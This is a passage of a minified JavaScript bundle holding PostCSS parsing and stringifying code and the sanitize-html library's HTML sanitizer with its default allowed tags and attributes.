1===t.length&&Array.isArray(t[0])&&(t=t[0]),new h(t)}x.plugin=function(t,e){let r,n=!1;function i(...r){console&&console.warn&&!n&&(n=!0,console.warn(t+\": postcss.plugin was deprecated. Migration guide:\\nhttps://evilmartians.com/chronicles/postcss-8-plugin-migration\"),process.env.LANG&&process.env.LANG.startsWith(\"cn\")&&console.warn(t+\": 里面 postcss.plugin 被弃用. 迁移指南:\\nhttps://www.w3ctech.com/topic/2226\"));let i=e(...r);return i.postcssPlugin=t,i.postcssVersion=(new h).version,i}return Object.defineProperty(i,\"postcss\",{get:()=>(r||(r=i()),r)}),i.process=function(t,e,r){return x([i(r)]).process(t,e)},i},x.stringify=y,x.parse=f,x.fromJSON=c,x.list=d,x.comment=t=>new i(t),x.atRule=t=>new n(t),x.decl=t=>new s(t),x.rule=t=>new b(t),x.root=t=>new A(t),x.document=t=>new l(t),x.CssSyntaxError=a,x.Declaration=s,x.Container=o,x.Processor=h,x.Document=l,x.Comment=i,x.Warning=v,x.AtRule=n,x.Result=g,x.Input=u,x.Rule=b,x.Root=A,x.Node=m,p.registerPostcss(x),t.exports=x,x.default=x},3878(t,e,r){\"use strict\";let{existsSync:n,readFileSync:i}=r(9977),{dirname:o,join:a}=r(197),{SourceMapConsumer:s,SourceMapGenerator:l}=r(1866);class c{constructor(t,e){if(!1===e.map)return;this.loadAnnotation(t),this.inline=this.startWith(this.annotation,\"data:\");let r=e.map?e.map.prev:void 0,n=this.loadMap(e.from,r);!this.mapFile&&e.from&&(this.mapFile=e.from),this.mapFile&&(this.root=o(this.mapFile)),n&&(this.text=n)}consumer(){return this.consumerCache||(this.consumerCache=new s(this.text)),this.consumerCache}decodeInline(t){let e=t.match(/^data:application\\/json;charset=utf-?8,/)||t.match(/^data:application\\/json,/);if(e)return decodeURIComponent(t.substr(e[0].length));let r=t.match(/^data:application\\/json;charset=utf-?8;base64,/)||t.match(/^data:application\\/json;base64,/);if(r)return n=t.substr(r[0].length),Buffer?Buffer.from(n,\"base64\").toString():window.atob(n);var n;let i=t.match(/data:application\\/json;([^,]+),/)[1];throw new Error(\"Unsupported source map encoding \"+i)}getAnnotationURL(t){return t.replace(/^\\/\\*\\s*# sourceMappingURL=/,\"\").trim()}isMap(t){return\"object\"==typeof t&&(\"string\"==typeof t.mappings||\"string\"==typeof t._mappings||Array.isArray(t.sections))}loadAnnotation(t){let e=t.match(/\\/\\*\\s*# sourceMappingURL=/g);if(!e)return;let r=t.lastIndexOf(e.pop()),n=t.indexOf(\"*/\",r);r>-1&&n>-1&&(this.annotation=this.getAnnotationURL(t.substring(r,n)))}loadFile(t){if(this.root=o(t),n(t))return this.mapFile=t,i(t,\"utf-8\").toString().trim()}loadMap(t,e){if(!1===e)return!1;if(e){if(\"string\"==typeof e)return e;if(\"function\"!=typeof e){if(e instanceof s)return l.fromSourceMap(e).toString();if(e instanceof l)return e.toString();if(this.isMap(e))return JSON.stringify(e);throw new Error(\"Unsupported previous source map format: \"+e.toString())}{let r=e(t);if(r){let t=this.loadFile(r);if(!t)throw new Error(\"Unable to load previous source map: \"+r.toString());return t}}}else{if(this.inline)return this.decodeInline(this.annotation);if(this.annotation){let e=this.annotation;return t&&(e=a(o(t),e)),this.loadFile(e)}}}startWith(t,e){return!!t&&t.substr(0,e.length)===e}withContent(){return!!(this.consumer().sourcesContent&&this.consumer().sourcesContent.length>0)}}t.exports=c,c.default=c},6846(t,e,r){\"use strict\";let n=r(145),i=r(6966),o=r(4211),a=r(5644);class s{constructor(t=[]){this.version=\"8.5.8\",this.plugins=this.normalize(t)}normalize(t){let e=[];for(let r of t)if(!0===r.postcss?r=r():r.postcss&&(r=r.postcss),\"object\"==typeof r&&Array.isArray(r.plugins))e=e.concat(r.plugins);else if(\"object\"==typeof r&&r.postcssPlugin)e.push(r);else if(\"function\"==typeof r)e.push(r);else{if(\"object\"!=typeof r||!r.parse&&!r.stringify)throw new Error(r+\" is not a PostCSS plugin\")}return e}process(t,e={}){return this.plugins.length||e.parser||e.stringifier||e.syntax?new i(this,t,e):new o(this,t,e)}use(t){return this.plugins=this.plugins.concat(this.normalize([t])),this}}t.exports=s,s.default=s,a.registerProcessor(s),n.registerProcessor(s)},3717(t,e,r){\"use strict\";let n=r(38);class i{get content(){return this.css}constructor(t,e,r){this.processor=t,this.messages=[],this.root=e,this.opts=r,this.css=\"\",this.map=void 0}toString(){return this.css}warn(t,e={}){e.plugin||this.lastPlugin&&this.lastPlugin.postcssPlugin&&(e.plugin=this.lastPlugin.postcssPlugin);let r=new n(t,e);return this.messages.push(r),r}warnings(){return this.messages.filter(t=>\"warning\"===t.type)}}t.exports=i,i.default=i},5644(t,e,r){\"use strict\";let n,i,o=r(7793);class a extends o{constructor(t){super(t),this.type=\"root\",this.nodes||(this.nodes=[])}normalize(t,e,r){let n=super.normalize(t);if(e)if(\"prepend\"===r)this.nodes.length>1?e.raws.before=this.nodes[1].raws.before:delete e.raws.before;else if(this.first!==e)for(let t of n)t.raws.before=e.raws.before;return n}removeChild(t,e){let r=this.index(t);return!e&&0===r&&this.nodes.length>1&&(this.nodes[1].raws.before=this.nodes[r].raws.before),super.removeChild(t)}toResult(t={}){return new n(new i,this,t).stringify()}}a.registerLazyResult=t=>{n=t},a.registerProcessor=t=>{i=t},t.exports=a,a.default=a,o.registerRoot(a)},1534(t,e,r){\"use strict\";let n=r(7793),i=r(1752);class o extends n{get selectors(){return i.comma(this.selector)}set selectors(t){let e=this.selector?this.selector.match(/,\\s*/):null,r=e?e[0]:\",\"+this.raw(\"between\",\"beforeOpen\");this.selector=t.join(r)}constructor(t){super(t),this.type=\"rule\",this.nodes||(this.nodes=[])}}t.exports=o,o.default=o,n.registerRule(o)},7668(t){\"use strict\";const e={after:\"\\n\",beforeClose:\"\\n\",beforeComment:\"\\n\",beforeDecl:\"\\n\",beforeOpen:\" \",beforeRule:\"\\n\",colon:\": \",commentLeft:\" \",commentRight:\" \",emptyBody:\"\",indent:\"    \",semicolon:!1};class r{constructor(t){this.builder=t}atrule(t,e){let r=\"@\"+t.name,n=t.params?this.rawValue(t,\"params\"):\"\";if(void 0!==t.raws.afterName?r+=t.raws.afterName:n&&(r+=\" \"),t.nodes)this.block(t,r+n);else{let i=(t.raws.between||\"\")+(e?\";\":\"\");this.builder(r+n+i,t)}}beforeAfter(t,e){let r;r=\"decl\"===t.type?this.raw(t,null,\"beforeDecl\"):\"comment\"===t.type?this.raw(t,null,\"beforeComment\"):\"before\"===e?this.raw(t,null,\"beforeRule\"):this.raw(t,null,\"beforeClose\");let n=t.parent,i=0;for(;n&&\"root\"!==n.type;)i+=1,n=n.parent;if(r.includes(\"\\n\")){let e=this.raw(t,null,\"indent\");if(e.length)for(let t=0;t<i;t++)r+=e}return r}block(t,e){let r,n=this.raw(t,\"between\",\"beforeOpen\");this.builder(e+n+\"{\",t,\"start\"),t.nodes&&t.nodes.length?(this.body(t),r=this.raw(t,\"after\")):r=this.raw(t,\"after\",\"emptyBody\"),r&&this.builder(r),this.builder(\"}\",t,\"end\")}body(t){let e=t.nodes.length-1;for(;e>0&&\"comment\"===t.nodes[e].type;)e-=1;let r=this.raw(t,\"semicolon\");for(let n=0;n<t.nodes.length;n++){let i=t.nodes[n],o=this.raw(i,\"before\");o&&this.builder(o),this.stringify(i,e!==n||r)}}comment(t){let e=this.raw(t,\"left\",\"commentLeft\"),r=this.raw(t,\"right\",\"commentRight\");this.builder(\"/*\"+e+t.text+r+\"*/\",t)}decl(t,e){let r=this.raw(t,\"between\",\"colon\"),n=t.prop+r+this.rawValue(t,\"value\");t.important&&(n+=t.raws.important||\" !important\"),e&&(n+=\";\"),this.builder(n,t)}document(t){this.body(t)}raw(t,r,n){let i;if(n||(n=r),r&&(i=t.raws[r],void 0!==i))return i;let o=t.parent;if(\"before\"===n){if(!o||\"root\"===o.type&&o.first===t)return\"\";if(o&&\"document\"===o.type)return\"\"}if(!o)return e[n];let a=t.root();if(a.rawCache||(a.rawCache={}),void 0!==a.rawCache[n])return a.rawCache[n];if(\"before\"===n||\"after\"===n)return this.beforeAfter(t,n);{let e=\"raw\"+((s=n)[0].toUpperCase()+s.slice(1));this[e]?i=this[e](a,t):a.walk(t=>{if(i=t.raws[r],void 0!==i)return!1})}var s;return void 0===i&&(i=e[n]),a.rawCache[n]=i,i}rawBeforeClose(t){let e;return t.walk(t=>{if(t.nodes&&t.nodes.length>0&&void 0!==t.raws.after)return e=t.raws.after,e.includes(\"\\n\")&&(e=e.replace(/[^\\n]+$/,\"\")),!1}),e&&(e=e.replace(/\\S/g,\"\")),e}rawBeforeComment(t,e){let r;return t.walkComments(t=>{if(void 0!==t.raws.before)return r=t.raws.before,r.includes(\"\\n\")&&(r=r.replace(/[^\\n]+$/,\"\")),!1}),void 0===r?r=this.raw(e,null,\"beforeDecl\"):r&&(r=r.replace(/\\S/g,\"\")),r}rawBeforeDecl(t,e){let r;return t.walkDecls(t=>{if(void 0!==t.raws.before)return r=t.raws.before,r.includes(\"\\n\")&&(r=r.replace(/[^\\n]+$/,\"\")),!1}),void 0===r?r=this.raw(e,null,\"beforeRule\"):r&&(r=r.replace(/\\S/g,\"\")),r}rawBeforeOpen(t){let e;return t.walk(t=>{if(\"decl\"!==t.type&&(e=t.raws.between,void 0!==e))return!1}),e}rawBeforeRule(t){let e;return t.walk(r=>{if(r.nodes&&(r.parent!==t||t.first!==r)&&void 0!==r.raws.before)return e=r.raws.before,e.includes(\"\\n\")&&(e=e.replace(/[^\\n]+$/,\"\")),!1}),e&&(e=e.replace(/\\S/g,\"\")),e}rawColon(t){let e;return t.walkDecls(t=>{if(void 0!==t.raws.between)return e=t.raws.between.replace(/[^\\s:]/g,\"\"),!1}),e}rawEmptyBody(t){let e;return t.walk(t=>{if(t.nodes&&0===t.nodes.length&&(e=t.raws.after,void 0!==e))return!1}),e}rawIndent(t){if(t.raws.indent)return t.raws.indent;let e;return t.walk(r=>{let n=r.parent;if(n&&n!==t&&n.parent&&n.parent===t&&void 0!==r.raws.before){let t=r.raws.before.split(\"\\n\");return e=t[t.length-1],e=e.replace(/\\S/g,\"\"),!1}}),e}rawSemicolon(t){let e;return t.walk(t=>{if(t.nodes&&t.nodes.length&&\"decl\"===t.last.type&&(e=t.raws.semicolon,void 0!==e))return!1}),e}rawValue(t,e){let r=t[e],n=t.raws[e];return n&&n.value===r?n.raw:r}root(t){this.body(t),t.raws.after&&this.builder(t.raws.after)}rule(t){this.block(t,this.rawValue(t,\"selector\")),t.raws.ownSemicolon&&this.builder(t.raws.ownSemicolon,t,\"end\")}stringify(t,e){if(!this[t.type])throw new Error(\"Unknown AST node type \"+t.type+\". Maybe you need to change PostCSS stringifier.\");this[t.type](t,e)}}t.exports=r,r.default=r},3303(t,e,r){\"use strict\";let n=r(7668);function i(t,e){new n(e).stringify(t)}t.exports=i,i.default=i},4151(t){\"use strict\";t.exports.isClean=Symbol(\"isClean\"),t.exports.my=Symbol(\"my\")},5781(t){\"use strict\";const e=\"'\".charCodeAt(0),r='\"'.charCodeAt(0),n=\"\\\\\".charCodeAt(0),i=\"/\".charCodeAt(0),o=\"\\n\".charCodeAt(0),a=\" \".charCodeAt(0),s=\"\\f\".charCodeAt(0),l=\"\\t\".charCodeAt(0),c=\"\\r\".charCodeAt(0),u=\"[\".charCodeAt(0),p=\"]\".charCodeAt(0),d=\"(\".charCodeAt(0),m=\")\".charCodeAt(0),f=\"{\".charCodeAt(0),h=\"}\".charCodeAt(0),g=\";\".charCodeAt(0),A=\"*\".charCodeAt(0),b=\":\".charCodeAt(0),y=\"@\".charCodeAt(0),v=/[\\t\\n\\f\\r \"#'()/;[\\\\\\]{}]/g,x=/[\\t\\n\\f\\r !\"#'():;@[\\\\\\]{}]|\\/(?=\\*)/g,w=/.[\\r\\n\"'(/\\\\]/,_=/[\\da-f]/i;t.exports=function(t,C={}){let I,k,E,B,S,D,O,T,F,N,j=t.css.valueOf(),M=C.ignoreErrors,R=j.length,L=0,Q=[],G=[];function P(e){throw t.error(\"Unclosed \"+e,L)}return{back:function(t){G.push(t)},endOfFile:function(){return 0===G.length&&L>=R},nextToken:function(t){if(G.length)return G.pop();if(L>=R)return;let C=!!t&&t.ignoreUnclosed;switch(I=j.charCodeAt(L),I){case o:case a:case l:case c:case s:B=L;do{B+=1,I=j.charCodeAt(B)}while(I===a||I===o||I===l||I===c||I===s);D=[\"space\",j.slice(L,B)],L=B-1;break;case u:case p:case f:case h:case b:case g:case m:{let t=String.fromCharCode(I);D=[t,t,L];break}case d:if(N=Q.length?Q.pop()[1]:\"\",F=j.charCodeAt(L+1),\"url\"===N&&F!==e&&F!==r&&F!==a&&F!==o&&F!==l&&F!==s&&F!==c){B=L;do{if(O=!1,B=j.indexOf(\")\",B+1),-1===B){if(M||C){B=L;break}P(\"bracket\")}for(T=B;j.charCodeAt(T-1)===n;)T-=1,O=!O}while(O);D=[\"brackets\",j.slice(L,B+1),L,B],L=B}else B=j.indexOf(\")\",L+1),k=j.slice(L,B+1),-1===B||w.test(k)?D=[\"(\",\"(\",L]:(D=[\"brackets\",k,L,B],L=B);break;case e:case r:S=I===e?\"'\":'\"',B=L;do{if(O=!1,B=j.indexOf(S,B+1),-1===B){if(M||C){B=L+1;break}P(\"string\")}for(T=B;j.charCodeAt(T-1)===n;)T-=1,O=!O}while(O);D=[\"string\",j.slice(L,B+1),L,B],L=B;break;case y:v.lastIndex=L+1,v.test(j),B=0===v.lastIndex?j.length-1:v.lastIndex-2,D=[\"at-word\",j.slice(L,B+1),L,B],L=B;break;case n:for(B=L,E=!0;j.charCodeAt(B+1)===n;)B+=1,E=!E;if(I=j.charCodeAt(B+1),E&&I!==i&&I!==a&&I!==o&&I!==l&&I!==c&&I!==s&&(B+=1,_.test(j.charAt(B)))){for(;_.test(j.charAt(B+1));)B+=1;j.charCodeAt(B+1)===a&&(B+=1)}D=[\"word\",j.slice(L,B+1),L,B],L=B;break;default:I===i&&j.charCodeAt(L+1)===A?(B=j.indexOf(\"*/\",L+2)+1,0===B&&(M||C?B=j.length:P(\"comment\")),D=[\"comment\",j.slice(L,B+1),L,B],L=B):(x.lastIndex=L+1,x.test(j),B=0===x.lastIndex?j.length-1:x.lastIndex-2,D=[\"word\",j.slice(L,B+1),L,B],Q.push(D),L=B)}return L++,D},position:function(){return L}}}},6156(t){\"use strict\";let e={};t.exports=function(t){e[t]||(e[t]=!0,\"undefined\"!=typeof console&&console.warn&&console.warn(t))}},38(t){\"use strict\";class e{constructor(t,e={}){if(this.type=\"warning\",this.text=t,e.node&&e.node.source){let t=e.node.rangeBy(e);this.line=t.start.line,this.column=t.start.column,this.endLine=t.end.line,this.endColumn=t.end.column}for(let t in e)this[t]=e[t]}toString(){return this.node?this.node.error(this.text,{index:this.index,plugin:this.plugin,word:this.word}).message:this.plugin?this.plugin+\": \"+this.text:this.text}}t.exports=e,e.default=e},4728(t,e,r){const n=r(8331),i=r(2834),{isPlainObject:o}=r(8682),a=r(4744),s=r(9466),{parse:l}=r(2895),c=[\"img\",\"audio\",\"video\",\"picture\",\"svg\",\"object\",\"map\",\"iframe\",\"embed\"],u=[\"script\",\"style\"];function p(t,e){t&&Object.keys(t).forEach(function(r){e(t[r],r)})}function d(t,e){return{}.hasOwnProperty.call(t,e)}function m(t,e){const r=[];return p(t,function(t){e(t)&&r.push(t)}),r}t.exports=h;const f=/^[^\\0\\t\\n\\f\\r /<=>]+$/;function h(t,e,r){if(null==t)return\"\";\"number\"==typeof t&&(t=t.toString());let A=\"\",b=\"\";function y(t,e){const r=this;this.tag=t,this.attribs=e||{},this.tagPosition=A.length,this.text=\"\",this.openingTagLength=0,this.mediaChildren=[],this.updateParentNodeText=function(){if(D.length){D[D.length-1].text+=r.text}},this.updateParentNodeMediaChildren=function(){if(D.length&&c.includes(this.tag)){D[D.length-1].mediaChildren.push(this.tag)}}}(e=Object.assign({},h.defaults,e)).parser=Object.assign({},g,e.parser);const v=function(t){return!1===e.allowedTags||(e.allowedTags||[]).indexOf(t)>-1};u.forEach(function(t){v(t)&&!e.allowVulnerableTags&&console.warn(`\\n\\n⚠️ Your \\`allowedTags\\` option includes, \\`${t}\\`, which is inherently\\nvulnerable to XSS attacks. Please remove it from \\`allowedTags\\`.\\nOr, to disable this warning, add the \\`allowVulnerableTags\\` option\\nand ensure you are accounting for this risk.\\n\\n`)});const x=e.nonTextTags||[\"script\",\"style\",\"textarea\",\"option\"];let w,_;e.allowedAttributes&&(w={},_={},p(e.allowedAttributes,function(t,e){w[e]=[];const r=[];t.forEach(function(t){\"string\"==typeof t&&t.indexOf(\"*\")>=0?r.push(i(t).replace(/\\\\\\*/g,\".*\")):w[e].push(t)}),r.length&&(_[e]=new RegExp(\"^(\"+r.join(\"|\")+\")$\"))}));const C={},I={},k={};p(e.allowedClasses,function(t,e){if(w&&(d(w,e)||(w[e]=[]),w[e].push(\"class\")),C[e]=t,Array.isArray(t)){const r=[];C[e]=[],k[e]=[],t.forEach(function(t){\"string\"==typeof t&&t.indexOf(\"*\")>=0?r.push(i(t).replace(/\\\\\\*/g,\".*\")):t instanceof RegExp?k[e].push(t):C[e].push(t)}),r.length&&(I[e]=new RegExp(\"^(\"+r.join(\"|\")+\")$\"))}});const E={};let B,S,D,O,T,F,N;p(e.transformTags,function(t,e){let r;\"function\"==typeof t?r=t:\"string\"==typeof t&&(r=h.simpleTransform(t)),\"*\"===e?B=r:E[e]=r});let j=!1;R();const M=new n.Parser({onopentag:function(t,r){if(e.onOpenTag&&e.onOpenTag(t,r),e.enforceHtmlBoundary&&\"html\"===t&&R(),F)return void N++;const n=new y(t,r);D.push(n);let i=!1;const c=!!n.text;let u;if(d(E,t)&&(u=E[t](t,r),n.attribs=r=u.attribs,void 0!==u.text&&(n.innerText=u.text),t!==u.tagName&&(n.name=t=u.tagName,T[S]=u.tagName)),B&&(u=B(t,r),n.attribs=r=u.attribs,t!==u.tagName&&(n.name=t=u.tagName,T[S]=u.tagName)),(!v(t)||\"recursiveEscape\"===e.disallowedTagsMode&&!function(t){for(const e in t)if(d(t,e))return!1;return!0}(O)||null!=e.nestingLimit&&S>=e.nestingLimit)&&(i=!0,O[S]=!0,\"discard\"!==e.disallowedTagsMode&&\"completelyDiscard\"!==e.disallowedTagsMode||-1!==x.indexOf(t)&&(F=!0,N=1)),S++,i){if(\"discard\"===e.disallowedTagsMode||\"completelyDiscard\"===e.disallowedTagsMode){if(n.innerText&&!c){const r=L(n.innerText);e.textFilter?A+=e.textFilter(r,t):A+=r,j=!0}return}b=A,A=\"\"}A+=\"<\"+t,\"script\"===t&&(e.allowedScriptHostnames||e.allowedScriptDomains)&&(n.innerText=\"\");i&&(\"escape\"===e.disallowedTagsMode||\"recursiveEscape\"===e.disallowedTagsMode)&&e.preserveEscapedAttributes?p(r,function(t,e){A+=\" \"+e+'=\"'+L(t||\"\",!0)+'\"'}):(!w||d(w,t)||w[\"*\"])&&p(r,function(r,i){if(!f.test(i))return void delete n.attribs[i];if(\"\"===r&&!e.allowedEmptyAttributes.includes(i)&&(e.nonBooleanAttributes.includes(i)||e.nonBooleanAttributes.includes(\"*\")))return void delete n.attribs[i];let c=!1;if(!w||d(w,t)&&-1!==w[t].indexOf(i)||w[\"*\"]&&-1!==w[\"*\"].indexOf(i)||d(_,t)&&_[t].test(i)||_[\"*\"]&&_[\"*\"].test(i))c=!0;else if(w&&w[t])for(const e of w[t])if(o(e)&&e.name&&e.name===i){c=!0;let t=\"\";if(!0===e.multiple){const n=r.split(\" \");for(const r of n)-1!==e.values.indexOf(r)&&(\"\"===t?t=r:t+=\" \"+r)}else e.values.indexOf(r)>=0&&(t=r);r=t}if(c){if(-1!==e.allowedSchemesAppliedToAttributes.indexOf(i)&&Q(t,r))return void delete n.attribs[i];if(\"script\"===t&&\"src\"===i){let t=!0;try{const n=G(r);if(e.allowedScriptHostnames||e.allowedScriptDomains){const r=(e.allowedScriptHostnames||[]).find(function(t){return t===n.url.hostname}),i=(e.allowedScriptDomains||[]).find(function(t){return n.url.hostname===t||n.url.hostname.endsWith(`.${t}`)});t=r||i}}catch(e){t=!1}if(!t)return void delete n.attribs[i]}if(\"iframe\"===t&&\"src\"===i){let t=!0;try{const n=G(r);if(n.isRelativeUrl)t=d(e,\"allowIframeRelativeUrls\")?e.allowIframeRelativeUrls:!e.allowedIframeHostnames&&!e.allowedIframeDomains;else if(e.allowedIframeHostnames||e.allowedIframeDomains){const r=(e.allowedIframeHostnames||[]).find(function(t){return t===n.url.hostname}),i=(e.allowedIframeDomains||[]).find(function(t){return n.url.hostname===t||n.url.hostname.endsWith(`.${t}`)});t=r||i}}catch(e){t=!1}if(!t)return void delete n.attribs[i]}if(\"srcset\"===i)try{let t=s(r);if(t.forEach(function(t){Q(\"srcset\",t.url)&&(t.evil=!0)}),t=m(t,function(t){return!t.evil}),!t.length)return void delete n.attribs[i];r=m(t,function(t){return!t.evil}).map(function(t){if(!t.url)throw new Error(\"URL missing\");return t.url+(t.w?` ${t.w}w`:\"\")+(t.h?` ${t.h}h`:\"\")+(t.d?` ${t.d}x`:\"\")}).join(\", \"),n.attribs[i]=r}catch(t){return void delete n.attribs[i]}if(\"class\"===i){const e=C[t],o=C[\"*\"],s=I[t],l=k[t],c=k[\"*\"],u=[s,I[\"*\"]].concat(l,c).filter(function(t){return t});if(!(r=P(r,e&&o?a(e,o):e||o,u)).length)return void delete n.attribs[i]}if(\"style\"===i)if(e.parseStyleAttributes)try{const o=function(t,e){if(!e)return t;const r=t.nodes[0];let n;n=e[r.selector]&&e[\"*\"]?a(e[r.selector],e[\"*\"]):e[r.selector]||e[\"*\"];n&&(t.nodes[0].nodes=r.nodes.reduce(function(t){return function(e,r){if(d(t,r.prop)){t[r.prop].some(function(t){return t.test(r.value)})&&e.push(r)}return e}}(n),[]));return t}(l(t+\" {\"+r+\"}\",{map:!1}),e.allowedStyles);if(r=function(t){return t.nodes[0].nodes.reduce(function(t,e){return t.push(`${e.prop}:${e.value}${e.important?\" !important\":\"\"}`),t},[]).join(\";\")}(o),0===r.length)return void delete n.attribs[i]}catch(e){return\"undefined\"!=typeof window&&console.warn('Failed to parse \"'+t+\" {\"+r+\"}\\\", If you're running this in a browser, we recommend to disable style parsing: options.parseStyleAttributes: false, since this only works in a node environment due to a postcss dependency, More info: https://github.com/apostrophecms/sanitize-html/issues/547\"),void delete n.attribs[i]}else if(e.allowedStyles)throw new Error(\"allowedStyles option cannot be used together with parseStyleAttributes: false.\");A+=\" \"+i,r&&r.length?A+='=\"'+L(r,!0)+'\"':e.allowedEmptyAttributes.includes(i)&&(A+='=\"\"')}else delete n.attribs[i]}),-1!==e.selfClosing.indexOf(t)?A+=\" />\":(A+=\">\",!n.innerText||c||e.textFilter||(A+=L(n.innerText),j=!0)),i&&(A=b+L(A),b=\"\"),n.openingTagLength=A.length-n.tagPosition},ontext:function(t){if(F)return;const r=D[D.length-1];let n;if(r&&(n=r.tag,t=void 0!==r.innerText?r.innerText:t),\"completelyDiscard\"!==e.disallowedTagsMode||v(n))if(\"discard\"!==e.disallowedTagsMode&&\"completelyDiscard\"!==e.disallowedTagsMode||\"script\"!==n&&\"style\"!==n)if(\"discard\"!==e.disallowedTagsMode&&\"completelyDiscard\"!==e.disallowedTagsMode||-1===x.indexOf(n)){if(!j){const r=L(t,!1);e.textFilter?A+=e.textFilter(r,n):A+=r}}else A+=t;else A+=t;else t=\"\";if(D.length){D[D.length-1].text+=t}},onclosetag:function(t,r){if(e.onCloseTag&&e.onCloseTag(t,r),F){if(N--,N)return;F=!1}const n=D.pop();if(!n)return;if(n.tag!==t)return void D.push(n);F=!!e.enforceHtmlBoundary&&\"html\"===t,S--;const i=O[S];if(i){if(delete O[S],\"discard\"===e.disallowedTagsMode||\"completelyDiscard\"===e.disallowedTagsMode)return void n.updateParentNodeText();b=A,A=\"\"}if(T[S]&&(t=T[S],delete T[S]),e.exclusiveFilter){const t=e.exclusiveFilter(n);if(\"excludeTag\"===t)return i&&(A=b,b=\"\"),void(A=A.substring(0,n.tagPosition)+A.substring(n.tagPosition+n.openingTagLength));if(t)return void(A=A.substring(0,n.tagPosition))}n.updateParentNodeMediaChildren(),n.updateParentNodeText(),-1!==e.selfClosing.indexOf(t)||r&&!v(t)&&[\"escape\",\"recursiveEscape\"].indexOf(e.disallowedTagsMode)>=0?i&&(A=b,b=\"\"):(A+=\"</\"+t+\">\",i&&(A=b+L(A),b=\"\"),j=!1)}},e.parser);if(M.write(t),M.end(),\"escape\"===e.disallowedTagsMode||\"recursiveEscape\"===e.disallowedTagsMode){const e=M.endIndex;if(null!=e&&e>=0&&e<t.length){const r=t.substring(e);A+=L(r)}else(null==e||e<0)&&t.length>0&&\"\"===A&&(A=L(t))}return A;function R(){A=\"\",S=0,D=[],O={},T={},F=!1,N=0}function L(t,r){return\"string\"!=typeof t&&(t+=\"\"),e.parser.decodeEntities&&(t=t.replace(/&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\"),r&&(t=t.replace(/\"/g,\"&quot;\"))),t=t.replace(/&(?![a-zA-Z0-9#]{1,20};)/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\"),r&&(t=t.replace(/\"/g,\"&quot;\")),t}function Q(t,r){for(r=r.replace(/[\\x00-\\x20]+/g,\"\");;){const t=r.indexOf(\"\\x3c!--\");if(-1===t)break;const e=r.indexOf(\"--\\x3e\",t+4);if(-1===e)break;r=r.substring(0,t)+r.substring(e+3)}const n=r.match(/^([a-zA-Z][a-zA-Z0-9.\\-+]*):/);if(!n)return!!r.match(/^[/\\\\]{2}/)&&!e.allowProtocolRelative;const i=n[1].toLowerCase();return d(e.allowedSchemesByTag,t)?-1===e.allowedSchemesByTag[t].indexOf(i):!e.allowedSchemes||-1===e.allowedSchemes.indexOf(i)}function G(t){if((t=t.replace(/^(\\w+:)?\\s*[\\\\/]\\s*[\\\\/]/,\"$1//\")).startsWith(\"relative:\"))throw new Error(\"relative: exploit attempt\");let e=\"relative://relative-site\";for(let t=0;t<100;t++)e+=`/${t}`;const r=new URL(t,e);return{isRelativeUrl:r&&\"relative-site\"===r.hostname&&\"relative:\"===r.protocol,url:r}}function P(t,e,r){return e?(t=t.split(/\\s+/)).filter(function(t){return-1!==e.indexOf(t)||r.some(function(e){return e.test(t)})}).join(\" \"):t}}const g={decodeEntities:!0};h.defaults={allowedTags:[\"address\",\"article\",\"aside\",\"footer\",\"header\",\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\"h6\",\"hgroup\",\"main\",\"nav\",\"section\",\"blockquote\",\"dd\",\"div\",\"dl\",\"dt\",\"figcaption\",\"figure\",\"hr\",\"li\",\"menu\",\"ol\",\"p\",\"pre\",\"ul\",\"a\",\"abbr\",\"b\",\"bdi\",\"bdo\",\"br\",\"cite\",\"code\",\"data\",\"dfn\",\"em\",\"i\",\"kbd\",\"mark\",\"q\",\"rb\",\"rp\",\"rt\",\"rtc\",\"ruby\",\"s\",\"samp\",\"small\",\"span\",\"strong\",\"sub\",\"sup\",\"time\",\"u\",\"var\",\"wbr\",\"caption\",\"col\",\"colgroup\",\"table\",\"tbody\",\"td\",\"tfoot\",\"th\",\"thead\",\"tr\"],nonBooleanAttributes:[\"abbr\",\"accept\",\"accept-charset\",\"accesskey\",\"action\",\"allow\",\"alt\",\"as\",\"autocapitalize\",\"autocomplete\",\"blocking\",\"charset\",\"cite\",\"class\",\"color\",\"cols\",\"colspan\",\"content\",\"contenteditable\",\"coords\",\"crossorigin\",\"data\",\"datetime\",\"decoding\",\"dir\",\"dirname\",\"download\",\"draggable\",\"enctype\",\"enterkeyhint\",\"fetchpriority\",\"for\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formtarget\",\"headers\",\"height\",\"hidden\",\"high\",\"href\",\"hreflang\",\"http-equiv\",\"id\",\"imagesizes\",\"imagesrcset\",\"inputmode\",\"integrity\",\"is\",\"itemid\",\"itemprop\",\"itemref\",\"itemtype\",\"kind\",\"label\",\"lang\",\"list\",\"loading\",\"low\",\"max\",\"maxlength\",\"media\",\"method\",\"min\",\"minlength\",\"name\",\"nonce\",\"optimum\",\"pattern\",\"ping\",\"placeholder\",\"popover\",\"popovertarget\",\"popovertargetaction\",\"poster\",\"preload\",\"referrerpolicy\",\"rel\",\"rows\",\"rowspan\",\"sandbox\",\"scope\",\"shape\",\"size\",\"sizes\",\"slot\",\"span\",\"spellcheck\",\"src\",\"srcdoc\",\"srclang\",\"srcset\",\"start\",\"step\",\"style\",\"tabindex\",\"target\",\"title\",\"translate\",\"type\",\"usemap\",\"value\",\"width\",\"wrap\",\"onauxclick\",\"onafterprint\",\"onbeforematch\",\"onbeforeprint\",\"onbeforeunload\",\"onbeforetoggle\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextlost\",\"oncontextmenu\",\"oncontextrestored\",\"oncopy\",\"oncuechange\",\"oncut\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"onformdata\",\"onhashchange\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onlanguagechange\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmessage\",\"onmessageerror\",\"onmousedown\",\"onmouseenter\",\"onmouseleave\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onoffline\",\"ononline\",\"onpagehide\",\"onpageshow\",\"onpaste\",\"onpause\",\"onplay\",\"onplaying\",\"onpopstate\",\"onprogress\",\"on